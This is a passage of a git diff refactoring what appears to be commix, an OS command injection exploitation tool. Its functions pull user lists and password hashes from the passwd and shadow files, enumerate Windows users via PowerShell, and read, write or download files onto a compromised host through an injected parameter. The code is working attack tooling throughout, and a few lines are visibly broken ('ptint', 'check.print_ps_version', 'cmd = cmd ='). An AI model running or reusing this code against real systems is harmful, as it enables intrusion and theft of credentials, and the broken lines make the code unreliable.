Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass +def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False + cmd = settings.SYS_PASSES + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + sys_passes = cb_injector.injection_results(response, TAG, cmd) + sys_passes = "".join(str(p) for p in sys_passes) + session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = cb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -569,11 +297,25 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.ENUMERATION_DONE = True if menu.options.users: + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index bc9538b1b4..35d6da05d3 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -28,207 +29,96 @@ The "classic" technique on result-based OS command injection. """ -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) - """ Write to a file on the target host. """ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.delete_tmp(tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - dest_to_write = path + "\\" + filname - + # cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + cmd = checks.write_content(content, dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" + cmd = checks.check_file(dest_to_write) if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - # Check if defined cookie injection. + cmd = checks.remove_command_substitution(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + checks.file_write_status(shell, dest_to_write) """ Upload a file on the target host. """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = cb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + shell = cb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell) + checks.file_upload_status(shell, dest_to_upload) - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") +""" +Read a file from the target host. +""" +def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + checks.file_read_status(shell, file_to_read, filename) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - + if menu.options.file_write: + file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.FILE_ACCESS_DONE = True + if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True if menu.options.file_read: file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 8f90f5b642..abf0292659 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -32,11 +32,12 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") else: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) # Evaluate injection results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -50,30 +51,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() + check.print_ps_version(ps_version,) """ Hostname enumeration """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME @@ -89,23 +73,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - info_msg = "Hostname: " + str(shell) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) """ Retrieve system information """ -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS @@ -156,30 +130,20 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -193,27 +157,17 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN if not alter_shell: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) else: cmd = settings.IS_ROOT if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -228,31 +182,20 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + checks.print_current_user_privs(shell, filename, _) """ System users enumeration """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) else: settings.SYS_USERS = settings.EVAL_SYS_USERS cmd = settings.SYS_USERS @@ -268,241 +211,27 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - 